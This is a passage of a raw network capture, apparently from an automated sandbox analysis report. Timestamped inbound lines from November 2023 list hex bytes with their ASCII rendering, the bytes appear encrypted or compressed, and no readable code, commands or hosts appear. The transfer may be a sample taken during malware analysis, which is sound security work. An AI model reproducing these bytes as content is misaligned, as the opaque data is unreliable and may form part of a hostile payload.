fb a9 46 7d 02 d9 8d dc a1 92 26 da b0 ef 3d 0a f0 8d 1e 09 7c ba e9 6f e5 21 1e 6b 5f Data Ascii: Ccw`hAb\xP5'Q.hlu5! {~Lnvf`miKdu3n76p;`/pZ{TP]: #ssrd1q'`.!T T1t@1tB/Sns_pBEX PTrxOzMBF}&=\|o!k_
2023-11-17 05:22:24 UTC	1814	IN	Data Raw: 05 5f 70 e7 16 09 98 b3 c1 5e 0c 05 22 73 70 c1 85 9b 70 95 8d 1d 68 1a 48 4f f9 93 0e 5d 77 85 8f 17 74 1a 94 5f cc 91 06 5f f5 43 72 48 70 1a 40 1b f5 51 73 52 f9 91 50 1b fb c7 4e 1d f3 73 06 58 f9 c7 4e a0 3e d5 59 5f 2e cc b6 5e 2b 10 c2 4b 79 91 46 9c e0 9b 06 09 27 1a 7a 5f 54 9d 8d 18 68 1a b1 03 71 11 08 09 fb 99 8f 11 60 1a 06 08 68 1a 44 5b f9 d7 12 1b 98 dc 86 63 26 79 21 de 4f de 06 47 fb c7 16 dc b4 99 8f 7d 61 10 10 11 64 ce 86 63 2e 52 06 dc 9c 81 50 d4 04 b5 1e 77 27 1a 80 de 6f c1 06 30 68 79 8c 48 f1 86 b8 5e 27 1a 90 bb 70 dc 22 6c b0 91 5d 64 88 93 7b cb b1 d1 3d 8f f8 dd 22 43 70 97 0a d7 7f 1f 8a df 7e 1c 80 b7 f0 93 02 0c 25 90 09 d4 24 b5 16 db 70 58 8d 5d 04 9e 8d c9 44 90 86 40 f5 43 73 13 fb f9 12 5f 9b 92 8d 37 68 1b 42 73 70 Data Ascii: _p^"spphHO]wt__CrHp@QsRPNsXN>Y_.^+KyF'z_Thq`hD[c&y!OG}adc.RPw'o0hyH^'p"l]d{="Cp~%$pX]D@Cs_7hBsp
2023-11-17 05:22:24 UTC	1830	IN	Data Raw: 07 7d c6 30 07 4c c9 31 0e 5a b7 52 93 fc 71 0a 05 5a d8 99 03 c3 b4 32 07 15 f0 92 03 ef 78 94 f7 99 d3 90 63 fa 73 94 be 57 75 17 c4 fc 71 db 05 5a 3a 51 0e 5a 1b 82 11 b6 5f 92 03 8f d9 99 03 9f c6 32 07 4b 73 94 96 57 75 35 a3 e7 d3 90 ff a2 72 94 ce 57 75 87 4c 2f 18 30 07 81 d1 90 05 e5 a8 b8 0e 5a 7f 58 a5 5e b3 30 07 4c c9 c3 e6 57 75 95 ce fc 71 39 05 5a 98 38 0e 5a 49 2d a5 5e fd 92 03 af d0 90 06 08 25 1a 0c 09 4b 50 73 77 7d 79 da 7b 75 e1 c6 5e 98 be 0c 94 b3 91 65 ce 72 d7 6e f7 71 01 73 4c 18 71 54 73 a5 0c 54 73 51 70 4c 9c f0 2f 20 bf 6d 92 73 df 3e 39 04 2a 3a f9 c2 ad 71 07 b3 a7 71 02 05 58 e2 92 ed 4d a5 93 6c 4d a0 93 08 8b 72 16 d5 5d f0 93 8f 03 ce 9d d6 5e 72 b8 b4 5c e0 00 3f 57 70 67 40 33 30 e4 1f 09 98 ad c9 87 80 b8 06 d7 00 Data Ascii: }0L1ZRqZ2xcsWuqZ:QZ_2KsWu5rWuL/0ZX^0LWuq9Z8ZI-^%KPsw}y{u^ernqsLqTsTsQpL/ ms>9*:qqXMlMr]^r\?Wpg@30
2023-11-17 05:22:24 UTC	1846	IN	Data Raw: 15 0f 69 ad 06 57 05 aa 83 a9 fd ed 28 5f 8f 1c 42 2a 8f e7 7e d4 70 7f 60 50 c6 9e 60 64 bb b3 73 3f 5a 91 ed 5c c0 bb 8c 50 70 d9 8e 57 38 de 4b 2a 95 90 f6 5d b6 d3 0e 5b b6 d3 0c 7f 72 41 e6 b6 05 81 02 63 60 b1 73 1a fb d3 02 4f 74 dd 2e 5e 60 95 43 a0 06 a7 8d a4 fb 89 e8 de 97 10 91 3f 6f e8 f9 d5 d0 88 3d 80 05 98 b6 5b 38 60 02 51 77 61 02 df 70 c1 07 17 f8 89 8c 5f 29 6e 4e 16 f8 89 4e 16 18 dc 73 8b db 94 1c fe 75 a1 27 61 f5 c0 61 23 d0 b5 f9 50 f4 a3 00 54 c0 cf 8d 15 74 d0 10 0e 77 90 56 58 6a 21 36 19 aa 00 1a ee 7b c8 f8 39 d0 aa 59 5d 05 8b a7 5f 8f 31 06 f7 74 e4 09 ff 70 88 96 5f 76 b9 0b 3c 98 96 5e 57 b0 78 95 3f 74 50 8a d4 3b 70 02 04 76 61 d4 4e 43 43 56 52 01 91 fd 39 fb ce 04 d5 21 6d 56 64 a3 e4 2a 4c 71 6c 16 5e 74 39 8c 0e 8e Data Ascii: iW(_B~p`P`ds?Z\PpW8K][rAc`sOt.^`C?o=[8`Qwap_)nNNsu'aa#PTtwVXj!6{9Y]_1tp_v<^Wx?tP;pvaNCCVR9!mVd*Lql^t9
2023-11-17 05:22:24 UTC	1862	IN	Data Raw: c6 5d 20 c7 02 b7 4e bc 03 da 9d e5 9f a9 f0 d4 0e 4f 04 02 6e 53 90 94 0a b6 13 11 04 9f 6b 9f 6c 5d 22 89 50 b7 90 d1 31 3f 03 8b 60 98 74 17 1c bf 72 90 06 0f 98 3c 55 dd 26 91 21 d9 e4 b1 04 b6 50 3c 06 8f 4c 93 73 26 16 82 00 bf ff f2 15 69 e3 f1 1e 3f 63 5d 05 59 57 9f 8b 13 c1 11 21 59 21 c7 e4 3c 30 9c 1a f9 7b c9 54 b7 3f d1 04 1f 7b 1f 87 4f 34 71 22 7d 20 79 38 3e 74 51 86 df 72 33 96 df 72 c0 ee 72 b2 98 1e bf 71 93 94 bf 71 7a 7f 63 73 9e 83 5d da 11 16 a9 36 f9 04 2a 7e a5 6e af 92 c7 1e 9c 57 15 14 6c a2 99 60 d4 e6 10 2a 64 8a 9e 81 4d 2f 51 3e de 8f 50 cc 50 f7 c2 37 3f 71 14 f9 2a 50 3f a4 59 92 71 ab 5d 66 8a 08 49 90 c1 51 3f 57 43 c4 83 60 9d 60 d6 ce 50 13 35 70 c7 02 b7 80 92 d9 da b0 e4 40 6c 00 43 8b d1 fc 51 04 1f 7d 30 05 0e 71 Data Ascii: ] NOnSkl]"P1?`tr<U&!P<Ls&i?c]YW!Y!<0{T?{O4q"} y8>tQr3rrqqzcs]6~nWl`dM/Q>PP7?q*P?Yq]fIQ?WC``P5p@lCQ}0q
2023-11-17 05:22:24 UTC	1878	IN	Data Raw: 9c 39 f3 ee 0a 5f 31 e4 20 d4 37 81 6c 5b 70 c1 6e bf d2 94 16 a0 a5 90 06 68 f5 51 73 4d fb de 16 8f 21 79 c0 c5 71 09 c6 df 72 91 4f de f3 b7 45 64 a8 ed b9 02 f3 b1 0e 0d 98 34 04 52 74 ca 50 b7 42 0a 85 5b 2f cf 06 d1 70 91 8d 1b 70 b5 02 09 27 c1 8d ef 5c 94 87 6b c8 10 4a b7 b8 6f f9 a0 08 c6 f9 89 70 b4 83 4d 77 91 86 48 7c 90 87 ef fb c5 22 5b 1a 90 56 ff 21 c3 ee 55 70 90 2e 4f 74 85 06 0c fb cd 22 57 25 c7 8d 1d 73 91 81 50 20 79 2b dc 46 56 05 5f c3 91 29 33 54 85 83 b2 04 93 3f df 6f 8d 51 d4 0c b5 1a 5f fb 66 09 f0 81 14 cf 2b 70 84 8d 99 43 43 f1 ae 4b 11 c1 2a 7b c7 ee b5 e9 93 1f 7f f9 92 8d 5c 2f 91 24 54 26 81 53 0f 98 27 04 7c 7c cf 5b 59 2b 1f 41 5f 8b c6 8d a5 f3 58 86 a0 43 51 6c 5e 82 3f c7 78 70 66 d7 0e 22 c1 ee 2d 8f 25 f9 a0 b0 Data Ascii: 9_1 7l[pnhQsM!yqrOEd4RtPB[/pp'\kJopMwH\|"[V!Up.Ot"W%sP y+FV_)3T?oQ_f+pCCK*{\/$T&S'\|\|[Y+A_XCQl^?xpf"-%
2023-11-17 05:22:24 UTC	1894	IN	Data Raw: 86 5b f3 55 3e dc b7 81 06 dc b6 9b 4e d6 0c b5 72 1d f9 91 9a 50 f5 fe fb 5f 6e d5 3a 7b 60 91 37 5e 1c 91 37 5e 4f 50 e6 6f 72 92 fe 5c 71 0f 87 16 73 60 89 5c 68 92 17 5f 5b 90 0c 50 f5 b8 06 42 70 ce 58 02 2b 12 c2 03 b3 d1 83 8d 7f 17 62 5c f0 8e 5a 4e f0 eb b2 7b e0 91 16 da b9 18 94 13 f0 a1 80 50 70 9a ed 58 f0 be 07 de 6a a2 c6 6c b9 1b 40 56 50 1b 48 57 fb 79 87 83 38 1a 06 a6 7f 15 e0 5e 70 91 4e 77 7f 15 40 5c 73 36 06 4c 3a e5 5c 0e 70 3a 76 5f f6 10 22 0e f0 0f 6a 5f 22 1a 55 1b 43 58 56 d5 98 df 01 0a 71 fd 43 df 59 11 21 9b 5c ba c7 61 74 fd 1a 5a 1c f9 0f 33 f9 d0 10 53 f1 1e 06 4d 10 92 6a d4 33 d5 06 6c a2 c0 8c 09 73 c4 51 bf 22 c1 ee a8 f7 13 17 de ff d0 88 b0 70 ba c7 42 f3 ff 47 34 b8 50 2c 5f 72 11 11 7f 7b 59 8f 15 7c d5 35 15 04 Data Ascii: [U>NrP_n:{`7^7^OPor\qs`\h_[PBpX+b\ZN{PpXjl@VPHWy8^pNw@\s6L:\p:v_"j_"UCXVqCY!\atZ3SMj3lsQ"pBG4P,_r{Y\|5
2023-11-17 05:22:24 UTC	1910	IN	Data Raw: ed 50 f5 3c f3 74 52 b7 8d b7 f5 50 09 5a 10 98 55 b7 92 55 47 5d 56 95 c5 c0 11 19 6c 5e 90 9d 7a a6 e9 d4 2d db ae f1 2c 9e dc 1a d6 1c e0 f9 8b 15 8f 13 3c 99 90 93 86 65 a8 18 86 65 fb d2 66 60 74 e5 5f 9f c0 b1 72 0b 16 10 b8 1b 23 8b 8d 53 fe e9 a7 d9 50 2e 0a ce a3 79 0e d4 fe ed 47 56 53 95 97 b4 78 9c 8d d9 11 90 8d 5b e0 f7 06 7c 37 99 8c 14 7f 18 42 1f 54 b1 82 96 04 97 46 ff 50 9d ed 25 72 0d c4 88 77 c1 ef 0c ab 10 00 39 7a 88 77 55 31 9b 08 1b 7a 71 d5 0f 74 01 25 9e 17 9b b1 3d 7a b7 06 39 4d 9a 06 08 26 e4 01 1b 98 40 e7 f2 75 79 dc df 75 1b b2 1c 7f b1 18 86 10 c7 26 78 50 70 02 17 43 43 57 7f 55 fb 07 3f 55 58 ec 75 13 3a ee da 61 48 f6 5b 02 cc 66 56 18 4c 1a 7b 90 88 a0 72 72 b1 02 4f e2 c0 e6 4c 7d 95 62 45 04 ad 36 59 71 51 03 56 fd Data Ascii: P<tRPZUUG]Vl^z-,<eef`t_r#SP.yGVSx[\|7BTFP%rw9zwU1zqt%=z9M&@uyu&xPpCCWU?UXu:aH[fVL{rrOL}bE6YqQV
2023-11-17 05:22:24 UTC	1926	IN	Data Raw: 16 58 32 40 b6 40 4c 9e 85 d7 00 97 8d 57 3e dd bc 9e f7 42 e4 d2 3a 81 f9 d4 26 d5 96 5e 40 b2 cd 77 fb 9d 8c df 70 d5 e6 5a 35 1a 0e 8e f1 73 e7 60 4b 44 70 1e fd 10 14 a3 b0 94 4a 43 fb df 42 2d 6c b0 06 49 40 b2 d5 18 71 82 8d 53 62 00 09 5b 07 2e 16 5d 36 f7 85 cf 8a 81 75 07 43 d4 3d b6 21 b9 f2 2c 59 10 03 fc ff 94 e7 78 63 b3 86 5d 79 f0 1e 88 16 80 02 74 99 42 ed 1e 50 84 60 d6 24 df 6e 2f 70 d0 27 fd 42 df 66 b6 f1 11 0a 2a 06 92 95 5a 01 94 8b 0e 72 aa ec 2c 4a bd c7 5a 36 5e 03 99 75 f1 04 18 4b eb ec ad 75 45 d6 4e a1 94 96 04 40 94 09 5b f4 d9 16 5a 43 58 60 d4 3c 1d 50 39 f1 80 34 1b f3 50 05 9e 4d 8a d6 5c 75 af c8 af 76 c1 0b 4e 05 f0 73 e6 77 92 b3 58 ba c1 59 e0 77 24 01 5c 01 27 01 8c 9b 56 66 fd 61 8a 37 c2 77 a5 85 9d 00 97 05 ff 17 Data Ascii: X2@@LW>B:&^@wpZ5s`KDpJCB-lI@qSb[.]6uC=!,Yxc]ytBP`$n/p'Bf*Zr,JZ6^uKuEN@[ZCX`<P94PM\uvNswXYw$\'Vfa7w
2023-11-17 05:22:24 UTC	1942	IN	Data Raw: a4 5f 6c c0 26 3c 8f b4 be 3d 71 2d a4 5f b0 c4 a4 5f b4 33 06 97 d2 91 ca fd 70 f1 87 ff 70 c4 8d b3 f1 7d 2e 7f 61 d9 a5 af bf 11 37 52 9c 30 06 4a e2 79 a7 5f 6d 75 a7 5f 45 71 a7 5f 74 ac da ff 70 f7 8a 4a 78 41 4f 9e 70 9c fa fd 71 8c de 9d 70 94 94 8b b2 91 23 8f b2 91 2b 93 b0 91 16 c3 ff 94 06 7f 75 1a 43 5f 74 32 f2 9f 71 1a 43 5b d3 69 47 bf 70 1c 43 57 d3 95 e7 5d f5 b5 e6 a3 50 ef 03 1f 10 93 07 5f 38 90 06 fe f1 92 a5 ab 70 d1 c1 5b 75 79 a6 5f 79 95 06 9f b7 bd 03 b3 50 90 44 2d f0 50 42 da a8 b8 46 59 d1 15 44 5e ac d1 07 a0 65 83 ce 3f 3d 32 3e 7f 77 fb 07 b7 22 dc 26 47 29 fb 06 0f bc 11 04 37 52 6d 46 69 8f 84 d6 1f 71 12 3b 0e 71 95 06 2a 78 f1 02 76 11 95 6e 8e 11 9a f9 4a 5c d1 19 0f 90 02 46 5b 50 58 c5 a0 55 41 c6 5e 18 f8 77 9f ff Data Ascii: _l&<=q-__3pp}.a7R0Jy_mu_Eq_tpJxAOpqp#+uC_t2qC[iGpCW]P_8p[uy_yPD-PBFYD^e?=2>w"&G)7RmFiq;q*xvnJ\F[PXUA^w
2023-11-17 05:22:24 UTC	1958	IN	Data Raw: 36 5f 58 61 06 ef 00 91 06 5b 78 3b 8e 6f 70 d9 f6 5f 80 61 05 5b c0 91 84 0b 40 91 12 5f 65 99 e5 af 73 3b 2d ef 70 e5 36 5f 44 61 07 97 80 92 ac 52 c0 91 62 6f 70 b5 f6 5f d8 e1 06 8a 81 93 82 6f 70 d5 f6 5f 98 61 05 ae 74 9b 5a 6f 70 8d f6 5f e8 91 12 58 da c2 b6 5f 0c a1 06 63 80 91 de af 7c 3b 11 ef 70 fd 36 5f 5c 61 06 e7 00 91 ac 53 40 91 8a 6f 70 dd f6 5f 88 61 05 f5 73 21 06 0d 40 91 14 af 77 32 f6 58 d6 b2 b6 5f 10 00 0e 6d 80 90 c2 af 77 3b 0d ef 70 f3 36 5f 52 61 06 fb 00 91 ac 5d 40 91 84 6f 70 d3 f6 5f 94 61 05 f6 70 85 0e 05 40 91 1c af 70 05 f6 58 da d2 b6 5f 0a a1 06 65 80 91 d2 af 77 3b 15 ef 70 fb 36 5f 5a 61 06 eb 00 91 53 ae 64 1b 36 5f 3a 61 06 ab 80 92 03 1a c0 91 50 6f 70 87 06 1f d0 9d 15 0b 77 a2 b6 5f 06 a1 06 69 80 90 ca 0a 80 Data Ascii: 6_Xa[x;op_a[@_es;-p6_DaRbop_op_atZop_X_c\|;p6_\aS@op_as!@w2X_mw;p6_Ra]@op_ap@pX_ew;p6_ZaSd6_:aPopw_i
2023-11-17 05:22:24 UTC	1974	IN	Data Raw: 3d 6c 77 ee 17 5d 49 9d 14 5c 8f 87 7c 55 47 92 33 57 18 6d 4f 0c cf c8 32 57 c7 90 39 57 83 95 17 5d 4f a8 0e 4d 73 ae 0e 65 78 a4 05 28 76 e1 4e a1 29 b6 8d 28 0e c0 07 60 69 a1 0d a8 72 ae 1f 98 07 97 57 5d 0b 97 69 19 36 ee 00 0c 71 6e 79 59 00 97 f1 5d 0f 97 71 59 21 93 f7 5b 00 ee 85 eb e3 f1 07 7f 00 d2 47 13 d0 1b 96 2d 11 fc 75 2f e3 c4 68 5f 75 59 69 38 1e 31 41 3b 50 91 3e bf fe ce 43 1d b6 93 f0 d3 85 9e 10 5b 15 21 0f 2c 8f 13 04 f5 73 2c 04 8e d2 ea 13 36 75 2a 04 a7 7e 90 79 54 50 e1 73 2d 00 fe 75 a3 15 bf f9 51 01 84 16 5d 0a af be 58 47 d0 a6 37 15 f8 61 37 d0 cf 72 7b 1e 56 65 5d b5 99 71 5d 07 f8 62 2f 4c fe 04 a0 cd c0 7d 5e ca 96 be 53 44 c2 f2 53 30 ee f6 01 8d a1 5d 3c 21 c8 f6 5a 3a 95 b9 52 23 97 fa 1d 8c d8 4b e5 d2 e7 47 29 71 Data Ascii: =lw]I\\|UG3WmO2W9W]OMsex(vN)(`irW]i6qnyY]qY![G-u/h_uYi81A;P>C[!,s,6u*~yTPs-uQ]XG7a7r{Ve]q]b/L}^SDS0]<!Z:R#KG)q
2023-11-17 05:22:24 UTC	1990	IN	Data Raw: 3f 47 d0 0c 5e 43 49 e9 a4 c3 11 0a 66 76 10 94 06 dd 14 51 06 5b 40 99 36 53 92 bb 86 7f 40 b5 36 77 40 bd 66 74 f0 e9 36 23 40 d1 37 03 10 b4 26 cb 41 21 37 93 10 b2 02 6d d0 b1 34 63 42 c9 a6 7e e8 33 26 5d a8 71 19 e3 44 45 32 ab 44 91 12 6a 5c a4 4a 6a 1c a4 26 db 45 35 33 9b 12 87 0a 69 68 a1 30 17 10 41 07 26 75 91 0a dc b0 91 27 0e 70 51 03 5f 28 f1 07 7f 88 a3 06 6c 74 b5 21 43 43 19 22 6c 58 71 21 6b 43 ad 66 77 7b 30 ca fe 58 f1 a6 77 1c a2 76 6c 52 e9 66 76 f4 a2 8e ff 59 05 35 5d ec b1 2c f7 43 3d 35 eb 43 11 be 6c b0 a2 36 68 44 f1 19 9f 3c a6 62 68 f8 a6 46 55 6f 91 f9 40 70 8e 06 40 70 8e 06 40 70 8e 06 50 70 9e 06 a0 7f 91 09 5f 7f 91 09 5f 7f 91 09 5f 7f 91 09 5f 8f 9e 06 50 70 9e 06 50 70 9e 06 50 70 9e 06 50 70 6e 09 5f 7f 91 09 5f 7f Data Ascii: ?G^CIfvQ[@6S@6w@ft6#@7&A!7m4cB~3&]qDE2Dj\Jj&E53ih0A&u'pQ_(lt!CC"lXq!kCfw{0XwvlRfvY5],C=5Cl6hD<bhFUo@p@p@pPp____PpPpPpPpn__
2023-11-17 05:22:24 UTC	2006	IN	Data Raw: 3d 2f 35 99 7b 59 21 c1 c6 7f e4 f7 28 59 60 7d 0f a7 68 a2 cf dc 08 9d c6 5e 7f 0e c7 d5 b1 6a 36 af e8 f3 b7 a8 e8 10 ea 83 10 12 22 c6 f9 92 06 d8 27 08 8b 47 8d 6e f9 98 f4 d4 de 0e 3a f7 c1 1a ac 00 7a 5f f9 d4 d8 d6 35 73 8f 1a f0 77 60 d6 35 7b 6c 57 12 01 28 ca 01 93 66 50 70 d4 7a 8f 47 14 c6 d7 7f 15 96 7f 73 f9 7a e1 80 d6 27 5f 72 6e 13 8f c2 f0 07 2a 0d 61 6c 5f 18 91 96 40 10 ac b4 5a 71 13 90 44 f1 ef d0 5f 5d 41 37 7a 8f f3 28 df a4 12 7b 8b 73 e5 30 0f 70 19 02 2b 40 c1 06 5a 04 bb 56 5f f8 97 72 7b 20 91 01 2b 6e c1 06 d7 78 e5 1e 0f 70 98 72 4d 20 91 8e 52 04 9d 56 5f 7e e5 00 0f 70 99 09 2a 64 a2 0f d5 32 c9 22 5d 8e 52 03 d7 31 c9 6e d6 0f a0 a7 58 8f 84 86 7e 32 93 04 d6 32 99 2a d4 f5 03 04 17 28 11 e7 5f 71 9e b0 8e f5 43 09 db 52 Data Ascii: =/5{Y!(Y`}h^j6"'Gn:z_5sw`5{lW(fPpzGsz'_rnal_@ZqD_]A7z({s0p+@ZV_r{ +nxprM RV_~pd2"]R1nX~22*(_qCR
2023-11-17 05:22:24 UTC	2022	IN	Data Raw: 8b 12 60 4d ee f9 fc 71 02 17 74 c0 9e d4 60 c3 46 ef 50 a1 e3 ca 90 d6 0d 1f 1e 31 29 d7 b1 94 ee fb 53 9b 2f 3f 49 ec 20 5e 60 d9 a6 59 b7 d4 c0 87 f1 9a 40 74 78 79 94 1f 76 91 18 7b 99 9d 64 55 78 c0 26 5a f1 50 14 8f 11 96 de 49 91 a7 d6 d4 fa f8 24 56 3a db e7 4c 80 d0 0d 7e 7e c4 16 af fb 93 8d fe 29 c1 72 a0 20 43 8f 1a 9c 7e 04 23 92 93 a7 7d cc d1 75 74 75 25 a6 5f 20 1a 12 52 c8 10 07 52 d1 e4 57 d4 65 88 67 5d 22 30 87 5e b0 d3 f6 d4 61 11 8d 1a 80 c1 8d d5 ec 51 15 0b 8f 40 26 58 18 91 07 1b 98 98 22 1a 92 98 6c df 65 61 8d 57 90 93 54 17 fb d0 4a 3e 48 7d 6c 5f 74 41 42 d4 f9 33 12 2b 3b 9b 6e 49 c6 10 64 49 b8 fb 06 37 71 11 27 75 61 d5 12 97 22 1a 26 11 78 1a 57 9f 44 6e d4 98 35 45 06 40 79 b3 3a de e4 90 24 9f 01 60 38 b7 f3 12 ea 5f 60 Data Ascii: `Mqt`FP1)S/?I ^`Y@txyv{dUx&ZPI$V:L~~)r C~#}utu%_ RRWeg]"0^aQ@&X"leaWTJ>H}l_tAB3+;nIdI7q'ua"&xWDn5E@y:$`8_`
2023-11-17 05:22:24 UTC	2038	IN	Data Raw: 8d 12 88 12 c7 57 98 91 26 66 8f 6e 8f 1a 8c 12 06 22 8c 91 73 52 1a 9f f9 5f 65 a1 b4 0c 70 12 ce a0 70 7a 3e d4 25 69 54 d4 35 91 fe dc b0 99 56 e6 78 be 06 05 70 79 03 a1 8f 6e 8d 5f 3d 9d 57 37 b0 1c 47 5f 70 1a 53 57 22 f9 83 5f 70 81 06 e6 bc bf 06 69 e9 a0 f9 4f 8f c1 f9 4a 66 6f 57 d6 3d d1 fa d4 35 99 56 d4 70 97 57 ff 74 c3 f9 4a 60 95 2f 5b 70 b8 4f 46 ef 11 3e 79 ef f4 fb 52 ef 19 8f d9 3f 68 36 9e 3f 1c 43 a3 f0 81 a7 df 3b 95 ee 97 67 91 30 57 f0 a3 1a d6 7a 11 1d da 64 16 21 d5 35 6e 07 5f 65 99 57 b7 0f 99 06 5f e4 12 c2 de 60 52 8e 50 9b 98 86 45 60 12 c6 5b f9 11 1b 12 78 aa 86 12 7c e5 1e d4 25 81 86 38 70 99 56 b7 2d 31 f9 a0 7f 91 b0 97 f5 58 72 5d 9b 93 c2 b4 a7 11 0f 02 b2 9d 0f 07 f0 8e 46 d4 35 9d 8d 57 21 91 1b b7 40 6e 01 5f 70 Data Ascii: W&fn"sR_eppz>%iT5Vxpyn_=W7G_pSW"_piOJfoW=5VpWtJ`/[pOF>yR?h6?C;g0Wzd!5n_eW_`RPE`[x\|%8pV-1Xr]F5W!@n_p
2023-11-17 05:22:24 UTC	2054	IN	Data Raw: 76 2b fd c4 92 1f 7e 83 8a 1e 56 a8 99 9f 55 59 ee cd f6 0f 24 47 50 90 2e b7 56 c4 e6 5d 50 90 6c 64 18 7d 77 5c 2e fb 44 48 02 90 2a b7 7e 82 67 3c e8 b3 f3 bf 78 56 43 c3 31 94 c1 1a 3a 31 65 5f d4 f2 06 f7 cc c1 a3 99 24 d4 aa 6f 70 3c 36 5f de a1 06 f0 70 5d c0 1a c0 92 c0 1a c1 81 04 99 35 23 76 5f c3 91 a7 5f 60 67 55 5f f9 d4 b2 d4 74 9c 12 de 70 dc be d4 65 89 47 de 70 c4 ba 39 d1 8d 86 5f 16 b1 8f 1a b0 fb 34 de 4f 53 57 d7 98 69 69 0e 58 9d 6e c8 22 9a 9c cf 25 9a 85 bf 7a c1 0d 83 ed c4 0d 5f 2c 79 36 a5 8f 6e 8b 1a 78 09 56 37 90 98 06 37 5f de c6 34 70 f9 c5 8a 91 21 1b 8d 71 d5 74 5a 42 9c 5e 37 72 21 48 35 7c d8 6c 6f 5e e1 07 3f 98 ab 14 4e 51 bd 8a b7 52 f3 26 d3 98 7b 0f bf c3 a2 c6 af 6e a2 cb b7 70 ca b6 58 71 8c 16 59 6d 62 2a 3f 87 Data Ascii: v+~VUY$GP.V]Pld}w\.DH~g<xVC1:1e_$op<6_p]5#v__`gU_tpeGp9_4OSWiiXn"%z_,y6nxV77_4p!qtZB^7r!H5\|lo^?NQR&{npXqYmb?
2023-11-17 05:22:24 UTC	2070	IN	Data Raw: 3f 8b 91 d0 a4 5f 2c 6f be 9f 4a 8b 02 a7 73 81 64 5c 88 51 85 26 2c 91 73 50 a0 cd f5 41 b0 c9 ee 76 79 91 06 a9 10 d3 6f c2 8e 3d 50 7f d9 b1 50 5d 74 85 c1 ee 72 e4 c6 4b 98 80 01 d3 60 96 f6 47 90 81 2e db 04 9b 56 5f 57 9e 83 e3 a1 90 b6 2a 88 12 c0 3f 04 a3 04 17 40 93 96 64 80 e4 15 ff f0 56 04 9e 73 8c d4 59 99 50 a6 bc 5c 11 0b b7 98 73 3c a2 15 87 10 6f 5d 41 1f af 79 79 ee 79 ec c3 07 ff 63 e4 65 8b 74 6b b1 84 02 e1 c4 54 72 31 10 9e 6c 61 c4 43 11 c5 26 64 35 65 7b 79 33 87 ee b7 06 1e c4 5c 31 87 17 ff 71 c0 00 5e 74 98 e4 8c e0 a3 04 b4 b9 33 0a b8 78 50 9d 73 99 34 46 5f 20 9d 20 ed 7c b4 09 1b f5 04 f4 5f 88 91 79 92 7b 10 ab 3d 11 69 86 40 b2 9a 23 94 7b 7b c5 54 de 4e 46 75 b3 9a a4 71 99 71 0c b3 91 9b 04 b3 22 2d ea dc 0d 7d 06 23 00 Data Ascii: ?_,oJsd\Q&,sPAvyo=PP]trK`G.V_W*?@dVsYP\s<o]AyyycetkTr1laC&d5e{y3\1q^t3xPs4F_ \|_y{=i@#{{TNFuqq"-}#
2023-11-17 05:22:24 UTC	2086	IN	Data Raw: 04 57 11 a7 53 af f9 c4 ea 98 3c 14 02 3f 71 73 bd 50 fb f3 07 dc 38 51 07 d6 72 90 8d d2 d1 91 3d 7f 3d 79 09 d2 b7 50 8d da 70 cc 21 5a e5 f0 07 de b1 93 07 d4 32 92 3d 3f 35 75 09 d2 e8 90 ae bd 7b 9e 06 e9 61 12 fc 3b 05 8f 8d 5d f5 32 07 17 71 12 ff 3b 05 92 46 58 b3 90 44 5d f3 69 62 2b 60 a5 8d 12 9c b2 04 d5 72 19 45 1f 4e 14 07 1d 71 19 47 96 71 93 02 d7 31 91 3a b3 b6 d0 05 a0 70 7a 1d d4 25 7d c0 1d 73 20 27 fb b6 d1 04 bf 47 51 04 5e 10 5b 0a b3 b6 11 07 dd 7d 12 c6 5c f9 de 04 5e 10 92 86 e2 50 39 ef 15 90 1f ef 79 6b 11 06 7f d9 1c 0a 1f 73 79 ad 41 35 b0 a1 bb e8 71 20 3e 56 fb 26 d4 24 d4 ee be a4 c0 a6 7c 22 95 03 23 53 91 03 7f c0 90 6e bf f0 1e 6e df 64 93 06 7a 78 16 06 5c f3 ec 0e 8f 70 9e 82 c4 11 77 76 ff ae 31 0d 1b f5 19 87 69 98 Data Ascii: WS<?qsP8Qr==yPp!Z2=?5u{a;]2q;FXD]ib+`rENqGq1:pz%}s 'GQ^[}\^P9yksyA5q >V&$\|"#Snndzx\pwv1i
2023-11-17 05:22:24 UTC	2102	IN	Data Raw: 40 8c b4 4e 0a dc f8 79 07 d6 72 a4 85 9e 74 51 d9 3f f3 ec 0a 5f 06 91 08 1f 4a 81 c6 d4 78 18 0c b4 ac 56 39 9f 07 13 46 98 07 c0 57 0c 26 c6 48 27 08 18 63 af 50 96 05 6a 91 90 66 53 3d 5b 16 1d 0b 81 86 55 f3 53 a6 4e 30 9a 81 bd 64 b1 05 9b 18 dc 12 b7 ed b0 15 5f a4 7a 31 b4 79 1a 43 b3 71 f3 84 b3 fb dc ea 64 3d 81 2f 1f f1 c4 ea 1d 74 0b 47 5b 91 fb 06 5f 1a 91 ee 5e 66 9e 06 de 54 d0 be 1a 51 d2 06 9c b5 d3 65 7e f9 b7 45 00 2e ca 61 25 92 a6 2a 1f f9 dc d2 d2 35 4d 66 7e a4 95 ee d4 d1 84 43 87 f3 ec de 5f 70 e4 02 6d b0 7a 74 d4 70 dc de d4 21 85 87 9d 1c a3 01 5d 25 f7 8f 3f 79 b1 04 4f f3 b5 c4 5e b2 90 56 5d 70 87 8d 0a 70 49 60 d4 32 89 60 d6 31 fb 02 f9 71 9d a6 5e 76 37 07 7f 75 d0 ac 57 d6 90 02 ff 71 9b a3 5e 72 11 07 5e 31 bc 60 98 31 Data Ascii: @NyrtQ?_JxV9FW&H'cPjfS=[USN0d_z1yCqd=/tG[_^fTQe~E.a%*5Mf~C_pmztp!]%?yO^V]ppI`2`1q^v7uWq^r^1`1
2023-11-17 05:22:24 UTC	2118	IN	Data Raw: a2 6f b2 89 06 93 71 91 86 f8 f1 7d 06 4f 78 91 06 fe c8 27 5f 5f 70 a2 c3 d6 35 6d 8f d2 60 61 f1 a0 8f 91 75 d6 f5 65 03 5e 74 1c 87 5d f3 e8 12 5f 05 91 02 6c b0 7a 53 37 70 95 4f df 3c 04 fe 5f 7a c3 8d dc 60 d9 05 df fc 93 1c dc b1 95 ee 45 9e 90 00 50 8f 84 32 ea 23 91 85 5f b4 95 85 a7 6f e3 1c d2 fa 14 07 55 20 12 21 d4 21 9d 06 50 7a a1 04 50 78 11 4e 12 8c a2 cb ff 98 e0 ae 51 70 10 4b 53 f3 dc 07 9b 57 12 ea 0f f9 dc b6 d4 60 d4 16 7a 8f 91 6a 50 cf 59 85 1f 0f 91 64 9e 9a 81 87 bd 33 95 00 9d f0 11 c6 65 f9 dc e2 d4 25 11 f2 d6 25 79 8b 1a 94 51 38 47 c0 79 29 9f 3a 91 32 98 